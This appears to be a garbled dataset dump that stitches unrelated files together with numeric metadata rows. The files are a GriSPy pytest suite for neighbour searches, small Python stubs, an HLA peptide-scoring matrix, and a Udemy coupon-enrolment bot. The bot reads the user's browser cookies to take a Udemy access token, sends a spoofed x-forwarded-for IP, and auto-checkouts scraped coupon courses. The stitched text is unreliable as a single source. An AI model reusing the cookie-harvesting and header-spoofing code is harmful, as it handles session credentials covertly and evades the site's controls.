gsp.nearest_neighbors(self.centres, n=self.n_nearest) for i, centre in enumerate(self.centres): d = self.data - centre mask = d > 0.5 * self.lbox d[mask] = d[mask] - self.lbox mask = d < -0.5 * self.lbox d[mask] = d[mask] + self.lbox d = np.fabs(d) d = sorted(np.concatenate(d)) d = d[: self.n_nearest] assert_equal(len(b[i]), len(d)) assert_almost_equal(b[i], d, decimal=16) class Test_periodicity_grispy: @pytest.fixture def gsp(self): self.lbox = 10.0 self.data = np.array( [ [2, 0, 0], [-2, 0, 0], [0, 2, 0], [0, -2, 0], [0, 0, 2], [0, 0, -2] ] ) self.eps = 1e-6 return GriSPy(self.data) def test_periodicity_in_shell(self, gsp): centres = np.array([[0.0, 0.0, 0.0]]) upper_radii = 0.8 * self.lbox lower_radii = 0.8 * self.lbox for j in range(3): gsp.set_periodicity({j: (-0.5 * self.lbox, 0.5 * self.lbox)}) dis, ind = gsp.shell_neighbors( centres, distance_lower_bound=lower_radii - self.eps, distance_upper_bound=upper_radii + self.eps, ) dis, ind = dis[0], ind[0] aux = np.argsort(ind) ind = ind[aux] dis = dis[aux] for i in range(2): assert_equal(ind[i], i + (j * 2)) assert_(dis[i] >= lower_radii - self.eps) assert_(dis[i] <= upper_radii + self.eps) gsp.set_periodicity( { 0: (-self.lbox * 0.5, self.lbox * 0.5), 1: (-self.lbox * 0.5, self.lbox * 0.5), 2: (-self.lbox * 0.5, self.lbox * 0.5), } ) dis, ind = gsp.shell_neighbors( centres, distance_lower_bound=lower_radii - self.eps, distance_upper_bound=upper_radii + self.eps, ) dis, ind = dis[0], ind[0] aux = np.argsort(ind) ind = ind[aux] dis = dis[aux] for i in range(6): assert_equal(ind[i], i) assert_(dis[i] >= lower_radii * (1.0 - self.eps)) assert_(dis[i] <= upper_radii * (1.0 + self.eps)) def test_periodicity_in_bubble(self, gsp): centres = np.array([[5.0, 0.0, 0.0], [0.0, 5.0, 0.0], [0.0, 0.0, 5.0]]) upper_radii = 0.3 * self.lbox for j in range(3): gsp.set_periodicity({j: (-self.lbox * 0.5, self.lbox * 0.5)}) centre = centres[j].reshape(1, 3) dis, ind = gsp.bubble_neighbors( centre, distance_upper_bound=upper_radii ) dis, ind = dis[0], ind[0] aux = np.argsort(ind) ind = ind[aux] dis = dis[aux] for i in range(2): assert_equal(ind[i], i + (j * 2)) assert_(dis[i] <= upper_radii * (1.0 + self.eps)) assert_(dis[i] >= upper_radii * (1.0 - self.eps)) class Test_hypersphere_grispy: @pytest.fixture def gsp(self): np.random.seed(1234) self.lbox = 100.0 self.upper_radii = 0.25 * self.lbox self.lower_radii = 0.20 * self.lbox self.n_nearest = 32 self.eps = 1e-6 ############################################ # # Follow # http://mathworld.wolfram.com/HyperspherePointPicking.html # Marsaglia, G. # "Choosing a Point from the Surface of a Sphere." # Ann. Math. Stat. 43, 645-646, 1972. # ############################################ npoints = 10 ** 5 x = np.random.uniform(-1.0, 1.0, size=(npoints, 1)) y = np.random.uniform(-1.0, 1.0, size=(npoints, 1)) z = np.random.uniform(-1.0, 1.0, size=(npoints, 1)) w = np.random.uniform(-1.0, 1.0, size=(npoints, 1)) tttt = (x ** 2 + y ** 2 < 1.0) * (z ** 2 + w ** 2 < 1.0) npoints = np.sum(tttt) self.radius = self.lbox * np.random.rand(npoints) x = x[tttt] y = y[tttt] z = z[tttt] w = w[tttt] tttt = np.sqrt((1.0 - x ** 2 - y ** 2) / (z ** 2 + w ** 2)) x = self.radius * x y = self.radius * y z = self.radius * z * tttt w = self.radius * w * tttt tttt = np.sqrt(x ** 2 + y ** 2 + z ** 2 + w ** 2) assert_almost_equal(self.radius, tttt, decimal=12) self.data = np.array([x, y, z, w]).T ############################################ ############################################ return GriSPy(self.data) def test_in_hiperbubble(self, gsp): centre = np.array([[0.0, 0.0, 0.0, 0.0]]) dis, ind = gsp.bubble_neighbors( centre, distance_upper_bound=self.upper_radii, sorted=True ) dis, ind = dis[0], ind[0] mask = self.radius <= self.upper_radii * (1.0 + self.eps) assert_equal(len(dis), len(ind)) assert_equal(len(dis), len(self.radius[mask])) assert_almost_equal(dis, sorted(self.radius[mask]), decimal=14) def test_in_hipersheell(self, gsp): centre = np.array([[0.0, 0.0, 0.0, 0.0]]) dis, ind = gsp.shell_neighbors( centre, distance_lower_bound=self.lower_radii, distance_upper_bound=self.upper_radii, sorted=True, ) dis, ind = dis[0], ind[0] mask = (self.radius <= self.upper_radii * (1.0 + self.eps)) * ( self.radius >= self.lower_radii * (1.0 - self.eps) ) assert_equal(len(dis), len(ind)) assert_equal(len(dis), len(self.radius[mask])) assert_almost_equal(dis, sorted(self.radius[mask]), decimal=14) def test_hipernearest_neighbors(self, gsp): centre = np.array([[0.0, 0.0, 0.0, 0.0]]) dis, ind = gsp.nearest_neighbors(centre, n=self.n_nearest) dis, ind = dis[0], ind[0] tmp = sorted(self.radius)[: self.n_nearest] assert_equal(len(dis), len(ind)) assert_equal(len(dis), len(tmp)) assert_almost_equal(dis, tmp, decimal=14)
31.880102
79
0.505641
1,717
12,497
3.557368
0.085032
0.073346
0.016699
0.017027
0.831369
0.793549
0.775704
0.767845
0.744434
0.732318
0
0.039493
0.343522
12,497
391
80
31.961637
0.705022
0.032168
0
0.662021
0
0
0
0
0
0
0
0
0.139373
1
0.04878
false
0
0.013937
0
0.083624
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
634a1bdb1c1042ab90dfed1bd1e7b62d524693c8
123
py
Python
__init__.py
HuTobias/visualize_atari
81c9248543431ec3925b982a9f464128e7135677
[ "MIT" ]
107
2017-11-01T18:41:34.000Z
2022-01-07T04:50:29.000Z
__init__.py
HuTobias/visualize_atari
81c9248543431ec3925b982a9f464128e7135677
[ "MIT" ]
2
2018-12-17T01:31:41.000Z
2020-11-27T07:05:50.000Z
__init__.py
HuTobias/visualize_atari
81c9248543431ec3925b982a9f464128e7135677
[ "MIT" ]
33
2017-11-01T22:59:16.000Z
2021-09-20T19:51:29.000Z
from .saliency import * from .rollout import * from .make_movie import * from .policy import * from .overfit_atari import *
24.6
28
0.764228
17
123
5.411765
0.529412
0.434783
0
0
0
0
0
0
0
0
0
0
0.154472
123
5
28
24.6
0.884615
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
634a561477cbff3901651a2b0a29a3e5f6bf009a
239
py
Python
tests/dummy_classes.py
shuns0314/yaml2instance
69513f65295a528353d5f75d8e8f3f0038a03efd
[ "MIT" ]
2
2020-05-22T12:13:30.000Z
2020-07-07T05:48:48.000Z
tests/dummy_classes.py
shuns0314/yaml2instance
69513f65295a528353d5f75d8e8f3f0038a03efd
[ "MIT" ]
null
null
null
tests/dummy_classes.py
shuns0314/yaml2instance
69513f65295a528353d5f75d8e8f3f0038a03efd
[ "MIT" ]
null
null
null
"""Dummy class for test.""" class DummyClass: def __init__(self, args_1: int = 100, args_2: int = 100, **kwargs): self.args_1 = args_1 self.args_2 = args_2 def add(self): return self.args_1 + self.args_2
21.727273
71
0.606695
38
239
3.5
0.421053
0.300752
0.203008
0.195489
0.210526
0
0
0
0
0
0
0.08
0.267782
239
10
72
23.9
0.68
0.087866
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0.166667
0.666667
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
63bcdc644825ed58ebd0957bc35e97162a35af72
357
py
Python
J_Mathematical_Modeling/Section 1/solutionQuestion8.py
sylvain2002/CBM101
4d9dc4264ce81cc2af58ceaff96fd0ed7a570af5
[ "MIT" ]
7
2019-07-03T07:41:55.000Z
2022-02-06T20:25:37.000Z
J_Mathematical_Modeling/Section 1/solutionQuestion8.py
sylvain2002/CBM101
4d9dc4264ce81cc2af58ceaff96fd0ed7a570af5
[ "MIT" ]
9
2019-03-14T15:15:09.000Z
2019-08-01T14:18:21.000Z
J_Mathematical_Modeling/Section 1/solutionQuestion8.py
sylvain2002/CBM101
4d9dc4264ce81cc2af58ceaff96fd0ed7a570af5
[ "MIT" ]
11
2019-03-12T10:43:11.000Z
2021-10-05T12:15:00.000Z
print("Model d, because despite it doesn't explicitly model microscopic details of actin dynamics and regulation, it accounts for these parameters at the phenomenological level and also models retrograde actin flow, adhesion-mediated traction forces, and contractile forces that re-shape the cell, all of which are very relevant to generate cell velocity.")
357
357
0.826331
54
357
5.462963
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.137255
357
1
357
357
0.957792
0
0
0
0
1
0.972067
0
0
0
0
0
0
1
0
true
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
6
89315190bfdcdcfb6c158cc923ec6b6c22fdb913
2,802
py
Python
epytope/Data/pssms/smmpmbec/mat/A_02_01_11.py
christopher-mohr/epytope
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
[ "BSD-3-Clause" ]
7
2021-02-01T18:11:28.000Z
2022-01-31T19:14:07.000Z
epytope/Data/pssms/smmpmbec/mat/A_02_01_11.py
christopher-mohr/epytope
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
[ "BSD-3-Clause" ]
22
2021-01-02T15:25:23.000Z
2022-03-14T11:32:53.000Z
epytope/Data/pssms/smmpmbec/mat/A_02_01_11.py
christopher-mohr/epytope
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
[ "BSD-3-Clause" ]
4
2021-05-28T08:50:38.000Z
2022-03-14T11:45:32.000Z
A_02_01_11 = {0: {'A': -0.106, 'C': 0.046, 'E': 0.163, 'D': 0.213, 'G': -0.049, 'F': -0.142, 'I': -0.071, 'H': -0.053, 'K': -0.193, 'M': -0.068, 'L': -0.011, 'N': 0.153, 'Q': -0.093, 'P': 0.234, 'S': 0.02, 'R': -0.091, 'T': 0.104, 'W': -0.053, 'V': 0.082, 'Y': -0.085}, 1: {'A': 0.607, 'C': 0.088, 'E': 0.22, 'D': 0.315, 'G': 0.175, 'F': -0.194, 'I': -0.4, 'H': -0.071, 'K': 0.025, 'M': -0.729, 'L': -0.503, 'N': -0.129, 'Q': -0.035, 'P': 0.53, 'S': 0.082, 'R': 0.205, 'T': 0.283, 'W': -0.309, 'V': 0.011, 'Y': -0.172}, 2: {'A': 0.007, 'C': -0.051, 'E': 0.049, 'D': 0.07, 'G': 0.244, 'F': -0.334, 'I': -0.644, 'H': 0.191, 'K': 0.319, 'M': -0.473, 'L': -0.472, 'N': 0.06, 'Q': 0.18, 'P': 0.19, 'S': 0.268, 'R': 0.584, 'T': 0.119, 'W': -0.102, 'V': -0.31, 'Y': 0.107}, 3: {'A': -0.697, 'C': -0.192, 'E': -0.691, 'D': -0.314, 'G': -0.181, 'F': -0.085, 'I': -0.026, 'H': 0.471, 'K': 0.132, 'M': 0.494, 'L': 0.083, 'N': 0.105, 'Q': 0.029, 'P': -0.645, 'S': 0.216, 'R': 0.396, 'T': 0.155, 'W': 0.285, 'V': 0.217, 'Y': 0.249}, 4: {'A': 0.022, 'C': 0.006, 'E': 0.006, 'D': 0.016, 'G': -0.003, 'F': -0.009, 'I': 0.003, 'H': -0.012, 'K': -0.005, 'M': -0.02, 'L': -0.012, 'N': -0.017, 'Q': -0.0, 'P': 0.035, 'S': 0.003, 'R': -0.011, 'T': 0.007, 'W': -0.002, 'V': 0.008, 'Y': -0.013}, 5: {'A': -0.024, 'C': 0.007, 'E': 0.02, 'D': 0.021, 'G': 0.007, 'F': 0.025, 'I': -0.034, 'H': 0.019, 'K': 0.006, 'M': 0.002, 'L': -0.01, 'N': 0.009, 'Q': 0.009, 'P': -0.002, 'S': -0.007, 'R': 0.014, 'T': -0.03, 'W': 0.006, 'V': -0.047, 'Y': 0.011}, 6: {'A': 0.273, 'C': 0.179, 'E': 0.048, 'D': 0.47, 'G': -0.013, 'F': -0.223, 'I': -0.568, 'H': -0.191, 'K': 0.137, 'M': 0.036, 'L': -0.659, 'N': 0.214, 'Q': 0.172, 'P': 0.185, 'S': 0.002, 'R': 0.551, 'T': -0.042, 'W': 0.15, 'V': -0.432, 'Y': -0.289}, 7: {'A': 0.044, 'C': -0.022, 'E': -0.038, 'D': -0.015, 'G': 0.035, 'F': -0.028, 'I': -0.073, 'H': 0.054, 'K': 0.101, 'M': -0.037, 'L': -0.112, 'N': -0.028, 'Q': -0.03, 'P': -0.042, 'S': 0.039, 'R': 0.132, 'T': 0.021, 'W': -0.017, 'V': -0.036, 'Y': 0.054}, 8: {'A': 0.064, 'C': 0.042, 'E': 0.048, 'D': 0.051, 'G': 0.068, 'F': -0.104, 'I': -0.209, 'H': 0.051, 'K': 0.101, 'M': -0.115, 'L': -0.166, 'N': -0.004, 'Q': 0.026, 'P': 0.014, 'S': 0.062, 'R': 0.111, 'T': 0.036, 'W': -0.015, 'V': -0.063, 'Y': 0.001}, 9: {'A': 0.186, 'C': 0.042, 'E': -0.148, 'D': -0.032, 'G': 0.011, 'F': 0.058, 'I': -0.025, 'H': 0.022, 'K': 0.03, 'M': 0.095, 'L': -0.0, 'N': 0.12, 'Q': -0.019, 'P': -0.215, 'S': 0.114, 'R': -0.01, 'T': 0.029, 'W': -0.053, 'V': 0.078, 'Y': -0.284}, 10: {'A': -0.232, 'C': 0.135, 'E': 0.071, 'D': 0.111, 'G': 0.036, 'F': -0.174, 'I': -0.817, 'H': 0.474, 'K': 0.552, 'M': -0.079, 'L': -0.307, 'N': 0.185, 'Q': 0.2, 'P': -0.032, 'S': 0.049, 'R': 0.786, 'T': -0.272, 'W': 0.166, 'V': -0.913, 'Y': 0.06}, -1: {'con': 4.25318}}
2,802
2,802
0.394361
679
2,802
1.622975
0.268041
0.019964
0.009074
0.010889
0.061706
0
0
0
0
0
0
0.374095
0.162384
2,802
1
2,802
2,802
0.095441
0
0
0
0
0
0.079558
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
8935044c372023ab7a5715699a0810d87959f917
175
py
Python
twisted/python/logger/test/__init__.py
ioggstream/twisted
34f9b1e3f097685839000c656332c66ee85be5d8
[ "Unlicense", "MIT" ]
null
null
null
twisted/python/logger/test/__init__.py
ioggstream/twisted
34f9b1e3f097685839000c656332c66ee85be5d8
[ "Unlicense", "MIT" ]
null
null
null
twisted/python/logger/test/__init__.py
ioggstream/twisted
34f9b1e3f097685839000c656332c66ee85be5d8
[ "Unlicense", "MIT" ]
null
null
null
# -*- test-case-name: twisted.python.logger.test -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Unit tests for L{twisted.python.logger}. """
21.875
52
0.697143
23
175
5.304348
0.73913
0.213115
0.311475
0
0
0
0
0
0
0
0
0
0.131429
175
7
53
25
0.802632
0.914286
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
6
89a5dee930a944c75600e7f71ae9415dbb4de4b1
103,799
py
Python
udemy.py
danasegarane/Udemy-Course-Grabber
33985ca4fd45e956c6c88c0f995ca71ac9aef1c2
[ "MIT" ]
null
null
null
udemy.py
danasegarane/Udemy-Course-Grabber
33985ca4fd45e956c6c88c0f995ca71ac9aef1c2
[ "MIT" ]
null
null
null
udemy.py
danasegarane/Udemy-Course-Grabber
33985ca4fd45e956c6c88c0f995ca71ac9aef1c2
[ "MIT" ]
null
null
null
import json import os import random import re #!/usr/bin/python3 import webbrowser import threading import multiprocessing import time from urllib.parse import parse_qs, urlsplit import browser_cookie3 import PySimpleGUI as sg import requests import urllib3 from bs4 import BeautifulSoup from pack.constants import CHECKOUT, all_site_range, all_sites from pack.functions import * urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) all_func_list = [ lambda page : comidoc(page), lambda page : discudemy(page), lambda page : udemy_freebies(page), lambda page : udemy_coupons_me(page), lambda page : real_disc(page), lambda page : tricksinfo(page), lambda page : freewebcart(page), lambda page : course_mania(page), ] thread = True sg.set_global_icon(b'iVBORw0KGgoAAAANSUhEUgAAAZAAAAGQCAYAAACAvzbMAAAgAElEQVR4Xuy9WZMk15kldnyPLZfasvZCLUBhBwGQIEGCBNnsbm7dnO6esZFNt3rG2kzWb9I/kpmkV+lJZvoFkpn0IGlGJrNpGw1nmkuTBAHUkktsvus733XPjHJkpldlVGZGZN4Du6jI8CXcr1//zv3W63z9+/+yHI1GKIoCvu+jLEttjuPs/nsYeNxhcF23+dULgddwGNqu77jRdn1taDv+tPuv7fh50fb7bWi7vmU/fxvm/f02tF1f2/hskw9taLu/tuubF22/34a265u3/9qur+33n+f4WS5gy7JMr7vf78N58LU/fYZA6gt+XgJp2952A21oO77t99sw7/nbjm8D+/ww8GEdhnmvr+34NrSdf160XV/b77cd34bTPn8b5v39NrQJuDzPm1+9ENrO39Y/bdvnxbz923Z8G0G0oe38bf3zPMfXXEDweT1DIA8//MkugXiepzuycQd+1/YDbQKuTUC2Yd4OaEPbAzzuAd62ve3+5r2+tvO3HT8v2s5/3PfXhtM+fxvm/f02tBFE2/OZF233N2//taHt99tw2tfX9vvPc/wsF7BxTOwSyOtf/6kSCL8kgdQClTvUZHIYnucCFhlt19d2f8eN076+4/794z6/xXxo6/+259eGtuPbfn/Rsez3V5PGLC/UXKEE8toHP/4KgdSs03bzJ4G2azjtBzDv9bXN4No0pDbMe31taDt/G47795f9/G2Y9/fb0Hb+tutv2942/tuOb9s+L9ruvw1tx7ddf9v2ec/fdjxREwj//QqBvPnRn5XD4VBNUftpIG1oU3F5zvOMtgfU1n9tL5iFxXGibQLT9n4/jww5z2iTD4vQfzWBEDWB0DUxGAyMD6RJILzo2h/SdoNtAq5tALahr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mjqnxVz1eFea+vQDIjWQAAAahJREFUKl/V8ar7Vx2v6p9V1y8aVfdn/VgC4Sefx3KFEsgXfubvjLrd7t6PzJDptBDI40ZVhyqjqo6q8qsScFXXn3ZUlX/e+qu6/qRRLv9pL28ZVeU97QKyClXlK7ffo6Lq+qr7z4uq/KvKR5QtU9ZataeBkECsXYufkwRymBssEsdRAbNQzr+cX5UJi3U2C1UmmKoXsFyeR0X5+cqYN/8qVD1/lQpfVf9V5a/KvwrHXX9V+ZXxqPkfN6oGOFXHq96PKjxqfZVRVX9V+c97fVX9LPr9r7r/YfLnOfY5WV6+k3sE8tm/+l99gkAmLzrMDRaJqgaat3yT+U/La9pvk6gqX1UHqWrgeVFVvqrnmxfzPn9V+aryryKwKiyi/qrynMRR8j9OVJW1iqCr2rcKVfevQlX9VR2vun/V8ar6qeqfVeWrQlX5qsDrrQbCsjDtI5Cf/eV/sI9AeIEljqeFQGblUfUCVAmwqvJXYVbZDoOq+8+bfxXmvX9V/Vehqn2qMG/5Z6Eqb2Ke/J8EHKaOZqGq/qryn/f6KlT1z3nzr0JV/rMIpN1u4/8H35HD4JweFvoAAAAASUVORK5CYII=') sg.theme('systemdefault') def cookiejar(client_id, access_token): cookies = dict(client_id=client_id, access_token=access_token) return cookies def getRealUrl(url): print(url) path = url.split(".com/")[1] return "https://www.udemy.com/" + path def get_course_id(url): r2 = s.get(url, verify=False) soup = BeautifulSoup(r2.content, 'html5lib') if r2.status_code == 404: return '' else: try: courseid = soup.find('body',attrs={"class":"ud-app-loader ud-component--course-landing-page-free-udlite udemy"})['data-clp-course-id'] except: courseid = soup.find('body',attrs={"data-module-id":"course-landing-page/udlite"})['data-clp-course-id'] #with open("problem.txt","w",encoding="utf-8") as f: #f.write(str(soup)) return courseid def get_course_coupon(url): query = urlsplit(url).query params = parse_qs(query) try: params = {k: v[0] for k, v in params.items()} return params['couponCode'] except: return '' def check_purchased(courseid): r = requests.get('https://www.udemy.com/api-2.0/course-landing-components/' + courseid +'/me/?components=purchase',headers=head).json() try: return r['purchase']['data']['purchase_date'] except: return False def update_courses(): while True: r = s.get('https://www.udemy.com/api-2.0/users/me/subscribed-courses/',headers=head).json() new_menu = [ ['About', ['Github', 'Discord']], [f'Total Courses: {r["count"]}'] ] main_window['mn'].Update(menu_definition = new_menu) time.sleep(6) # So that Udemy's api doesn't get spammed. def free_checkout(CHECKOUT, coupon, courseid): payload = '{"shopping_cart":{"items":[{"buyableType":"course","buyableId":' + str(courseid) + ',"discountInfo":{"code":"' + coupon + '"},"purchasePrice":{"currency":"' + currency + '","currency_symbol":"","amount":0,"price_string":"Free"},"buyableContext":{"contentLocaleId":null}}]},"payment_info":{"payment_vendor":"Free","payment_method":"free-method"}}' r = s.post(CHECKOUT, headers=head, data=payload, verify=False) return r.json() def free_enroll(courseid): s.get('https://www.udemy.com/course/subscribe/?courseId=' + str(courseid), headers=head, verify=False) r2 = s.get('https://www.udemy.com/api-2.0/users/me/subscribed-courses/' + str(courseid) + '/?fields%5Bcourse%5D=%40default%2Cbuyable_object_type%2Cprimary_subcategory%2Cis_private', headers=head, verify=False) return r2.json() def auto_add(list_st): index = 0 global count, paid_only while index <= len(list_st) - 1: sp1 = list_st[index].split('|:|') title = str(index + 1)+' '+sp1[0] main_window['out'].print(title+' ',text_color='yellow',end = '') link = getRealUrl(sp1[1]) main_window['out'].print(link,text_color='blue') couponID = get_course_coupon(link) course_id = get_course_id(link) if not course_id: main_window['out'].print('This Course link is wrong',text_color='light blue') main_window['out'].print() index += 1 else: purchased = check_purchased(course_id) if not purchased: if couponID: slp = '' try: js = free_checkout(CHECKOUT, couponID, course_id) try: if js['status'] == 'succeeded': main_window['out'].print('Successfully Enrolled To Course',text_color='green') main_window['out'].print() count += 1 index += 1 except: try: msg = js['detail'] main_window['out'].print(f'{msg}',text_color='dark blue') main_window['out'].print() slp = int(re.search(r'\d+', msg).group(0)) # index -= 1 except: main_window['out'].print('Expired Coupon',text_color='red') main_window['out'].print() index += 1 else: try: if js['status'] == 'failed': main_window['out'].print('Coupon Expired :(',text_color='red') main_window['out'].print() index += 1 except: pass except: pass if slp != '': slp += 10 main_window['out'].print('----' +'>>'+' Pausing execution of script for ' + str(slp) + ' seconds',text_color='red') time.sleep(slp) main_window['out'].print() else: time.sleep(5) elif not couponID: js = free_enroll(course_id) try: if js['_class'] == 'course': main_window['out'].print('Successfully Subscribed',text_color='green') main_window['out'].print() count += 1 index += 1 except: main_window['out'].print('COUPON MIGHT HAVE EXPIRED',text_color='red') main_window['out'].print() index += 1 if purchased: main_window['out'].print(purchased,text_color='light blue') main_window['out'].print() index += 1 main_window['out'].print('Total Courses Subscribed: ' + str(count),text_color='Green') def fetch_cookies(): try: cookies = browser_cookie3.load(domain_name='www.udemy.com') return requests.utils.dict_from_cookiejar(cookies), cookies except: print('\nAuto login failed!!, try by adding cookie file using "py udemy.py -c cookie_file.txt"') exit() def main1(): global thread_done try: global paid_only global count count = 0 for index, items in enumerate(func_list): main_window['out'].print(sites[index],text_color='white') main_window['out'].print('Loading URL..',text_color='white') limit = site_range[index] for d in range(1, limit): list_st = items(d) auto_add(list_st) except Exception as e : sg.popup_scrolled(e,title='Unknown Error') main_window['col1'].Update(visible = True) main_window['col2'].Update(visible = False) ############## MAIN ############# MAIN############## MAIN ############# MAIN ############## MAIN ############# MAIN ########### menu = [ ['About', ['Github', 'Discord']] ] c1 = [ [sg.B('Auto login',key = 'a_login',pad=(5,5)), sg.T(''), sg.B('Cookie login',key = 'c_login',pad=(5,5))], ] c2 = [ [sg.T('Access Token'), sg.InputText(default_text='',key = 'access_token',size=(20,1),pad=(5,5))], [sg.T('Client ID'), sg.InputText(default_text='',key = 'client_id',size=(25,1),pad=(5,5))], [sg.B('Back',pad=(5,5)),sg.T(' '),sg.B('Login',pad=(5,5))], ] login_layout = [ [sg.Menu(menu)], [sg.Column(c1,key = 'col1'), sg.Column(c2,visible = False, key = 'col2')], ] login_window = sg.Window('Login',login_layout) ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4)))) while True: event, values = login_window.read() with open('config.json') as f: config = json.load(f) if event in (None,): login_window.close() exit() elif event == 'a_login': try: my_cookies, cookies = fetch_cookies() try: access_token = my_cookies['access_token'] csrftoken = my_cookies['csrftoken'] head = { 'authorization': 'Bearer ' + access_token, 'accept': 'application/json, text/plain, */*', 'x-requested-with': 'XMLHttpRequest', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66', 'x-forwarded-for': str(ip), 'x-udemy-authorization': 'Bearer ' + access_token, 'content-type': 'application/json;charset=UTF-8', 'origin': 'https://www.udemy.com', 'referer': 'https://www.udemy.com/', 'dnt': '1', } r = requests.get('https://www.udemy.com/api-2.0/contexts/me/?me=True&Config=True', headers = head).json() currency = r['Config']['price_country']['currency'] user = '' user = r['me']['display_name'] s = requests.session() s.cookies.update(cookies) login_window.close() break except Exception as e: sg.popup_auto_close('Make sure you are logged in to udemy.com in chrome browser',title = 'Error',auto_close_duration=5,no_titlebar=True) access_token = '' except Exception as e : sg.popup_scrolled(e,title='Unknown Error') elif event == 'c_login': login_window['col1'].update(visible = False) login_window['col2'].update(visible = True) access_token = config['access_token'] client_id = config['client_id'] login_window['access_token'].update(value=access_token) login_window['client_id'].update(value=client_id) elif event == 'Github': webbrowser.open("https://github.com/techtanic/Udemy-Course-Grabber") elif event == 'Discord': sg.popup_scrolled('TECHTANIC#8090',no_titlebar=True) elif event == 'Back': login_window['col1'].update(visible = True) login_window['col2'].update(visible = False) elif event == 'Login': access_token = values['access_token'] client_id = values['client_id'] config['access_token'] = access_token config['client_id'] = client_id csrftoken = '' cookies = cookiejar(client_id, access_token) s = requests.session() s.cookies.update(cookies) head = { 'authorization': 'Bearer ' + access_token, 'accept': 'application/json, text/plain, */*', 'x-requested-with': 'XMLHttpRequest', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'x-forwarded-for': str(ip), 'x-udemy-authorization': 'Bearer ' + access_token, 'content-type': 'application/json;charset=UTF-8', 'referer': 'https://www.udemy.com/courses/search/?q=free%20courses&src=sac&kw=free', 'origin': 'https://www.udemy.com' } try: r = requests.get('https://www.udemy.com/api-2.0/contexts/me/?me=True&Config=True', headers = head).json() currency = r['Config']['price_country']['currency'] user = '' user = r['me']['display_name'] with open('config.json','w') as f: json.dump(config,f,indent=4) login_window.close() break except Exception as e: sg.popup_auto_close('Login Unsuccessfull',title = 'Error',auto_close_duration=5,no_titlebar=True) access_token = '' checkbox_lo = [ [sg.Checkbox('Comidoc',background_color='#c1c1c1',default=True)], [sg.Checkbox('Discudemy',background_color='#c1c1c1',default=True)], [sg.Checkbox('Udemy Freebies',background_color='#c1c1c1',default=True)], [sg.Checkbox('Udemy Coupons',background_color='#c1c1c1',default=True)], [sg.Checkbox('Real Discount',background_color='#c1c1c1',default=True)], [sg.Checkbox('Tricks Info',background_color='#c1c1c1',default=True)], [sg.Checkbox('Free Web Cart',background_color='#c1c1c1',default=True)], [sg.Checkbox('Course Mania',background_color='#c1c1c1',default=True)], ] c1 = [ [sg.Frame('Websites',checkbox_lo,'blue',border_width = 4,background_color='#c1c1c1')], [sg.Button('Start',tooltip='Once started will not stop until completed')], ] c2 = [ [sg.Text('Output')], [sg.Multiline(size=(70, 12),key='out',autoscroll=True,background_color='#2f2f2f',disabled=True)], ] main_lo = [ [sg.Menu(menu,key='mn')], [sg.Text(f'Logged in as: {user}',key='user_t')], [sg.pin(sg.Column(c1,key='col1')),sg.pin(sg.Column(c2,key='col2',visible=False))], [sg.Button('Exit')], ] global main_window main_window = sg.Window('Udemy Course Grabber', main_lo) threading.Thread(target=update_courses, daemon=True).start() while True: event, values = main_window.read() if event in (None, 'Exit'): break elif event == 'Github': webbrowser.open("https://github.com/techtanic/Udemy-Course-Grabber") elif event == 'Discord': sg.popup_scrolled('TECHTANIC#8090',no_titlebar=True) elif event == 'Start': func_list = [] sites = [] site_range = [] user_dumb = True for i in range(0,len(all_sites)): if values[i]: func_list.append(all_func_list[i]) site_range.append(all_site_range[i]) sites.append(all_sites[i]) user_dumb = False if user_dumb: sg.popup_auto_close(f'Smart Move Human',title = 'Error',auto_close_duration=5,no_titlebar=True) if not user_dumb: main_window['col1'].update(visible = False) main_window['col2'].update(visible = True) threading.Thread(target=main1, daemon=True).start() main_window.close()
248.918465
88,176
0.901068
4,581
103,799
20.366732
0.680419
0.00343
0.003205
0.004437
0.033387
0.025305
0.024684
0.020804
0.019796
0.01896
0
0.138265
0.047785
103,799
416
88,177
249.516827
0.805694
0.001657
0
0.319149
0
0.030395
0.887325
0.860539
0
1
0
0
0
1
0.033435
false
0.006079
0.048632
0
0.115502
0.075988
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
6
9834328ad7eee908d67e229054b70ad402b08a6d
9,561
py
Python
src/genie/libs/parser/iosxr/tests/ShowL2vpnBridgeDomainDetail/cli/equal/golden2_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
204
2018-06-27T00:55:27.000Z
2022-03-06T21:12:18.000Z
